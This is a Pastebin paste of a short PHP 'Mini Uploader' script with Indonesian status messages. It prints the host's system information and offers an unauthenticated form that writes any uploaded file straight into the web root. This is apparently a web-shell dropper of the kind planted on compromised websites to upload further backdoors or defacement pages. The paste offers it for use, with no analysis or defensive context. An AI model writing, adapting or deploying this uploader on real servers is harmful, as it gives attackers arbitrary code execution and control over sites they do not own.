ToKeiChun

Mini Uploader

Nov 20th, 2017
1,263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. <?php
  2. echo "<b>".php_uname()."</b><br>";
  3. echo "<form method='post' enctype='multipart/form-data'>
  4. <input type='file' name='idx_file'>
  5. <input type='submit' name='upload' value='upload'>
  6. </form>";
  7. $root = $_SERVER['DOCUMENT_ROOT'];
  8. $files = $_FILES['idx_file']['name'];
  9. $dest = $root.'/'.$files;
  10. if(isset($_POST['upload'])) {
  11. if(is_writable($root)) {
  12. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  13. $web = "http://".$_SERVER['HTTP_HOST']."/";
  14. echo "Sukses Upload -> <a href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
  15. } else {
  16. echo "Gagal Upload.";
  17. }
  18. } else {
  19. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  20. echo "Sukses Upload <b>$files</b> di Folder ini";
  21. } else {
  22. echo "Gagal Upload";
  23. }
  24. }
  25. }
  26. ?>
Add Comment
Please, Sign In to add comment